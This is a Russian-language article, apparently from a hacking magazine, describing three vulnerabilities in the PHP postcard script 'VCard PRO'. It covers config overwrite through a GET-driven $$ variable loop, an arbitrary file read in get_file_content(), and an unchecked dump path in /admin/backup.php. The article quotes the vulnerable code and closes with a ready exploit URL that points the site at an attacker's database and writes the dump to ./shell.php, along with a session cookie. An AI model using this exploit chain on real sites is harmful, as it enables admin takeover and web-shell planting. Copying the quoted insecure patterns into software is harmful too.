Есть в интернете такой проект как «VCard PRO -сервис виртуальных поздравительных открыток». Официальным сайтом проекта находится по адресу
www.belchiorfoundry.com. Да вот незадача, программисты не слишком знакомы с вопросом
безопасности, в результате чего под ударом постоянно оказывается множество не в чём не виноватых сайтов. 

Главной ошибкой разработчиков движка можно считать использование символических ссылок,
то есть это обыкновенная переменная, содержащая имя другой переменной. Для доступа к значению ссылки используется двойной знак $$.

Файл /incude/grab.inc.php содержит код:

if (!empty($_GET))
{
foreach ($_GET as $tmp_varname => $tmp_value)
{
$$tmp_varname = $tmp_value;

}
}

при выполнение которого переменные переданные методом GET становятся обычными, заменяя собой определённые ранее эти же переменные,
то есть в файле lib.inc.php функцией include загружается сначала файл с конфигами, а потом include/grab.inc.php в результате чего можно подменить конфигурационные данные для подключения к базе данных.
Подменив базу данных, в скриптах будут использоваться
данные из нашей базы, таким образом можно попасть в административную панель, заменив дополнительно cookies.

Следующей важной уязвимостью является возможность
просмотреть любой файл:

при импорте таблицы стилей в файле /admin/style.php
вызывается функция get_file_content(), из определение которой в файле /include/class/file.inc.php :

function get_file_content($source)
{
if (file_exists($source) == 0)
{
return false;
}
else
{
$stuff = @fread(@fopen($source, ‘rb’), @filesize($source));
return $stuff;
}
}

видно что местонахождения файла ни как не проверяется.

И ещё не менее опасной уязвимостью является возможность сохранять дамп базы данных в любой
директории, в любом формате, в результате чего может быть выполнен код (например
php), заранее добавленный в базу.

Код файла /admin/backup.php:

if ($action == ‘sqlfile’)
{
$filehandle = fopen($filename,»w»);
$result = $DB_site->query(«SHOW tables»);
while ($row = $DB_site->fetch_array($result))
{
fwrite($filehandle,sqldumptable($row[0]).»\n\n\n»);
echo «<p>Dumping $row[0]</p>»;
}
fclose($filehandle);
message_die(GENERAL_MESSAGE, $msg[‘a_dbase_sucess_dumping’]);
}

переменная $filename опять же нигде не проверяется.

Пример url:

/admin/backup.php?s=09be8c9e4e025c9&action= import&hostname=DBHOST&dbUser=DBUSER&dbPass=
DBPASS&dbName=DBNAME&action= sqlfile&filename=./shell.php

и cookies: su=09be8c9e4e025c9

Оставить мнение

Check Also

Мошенничество по воздуху. Разбираем возможность Cryptogram Replay Attack в Apple Pay

Задача платежной системы — списать нужную сумму в пользу продавца со счета верное число ра…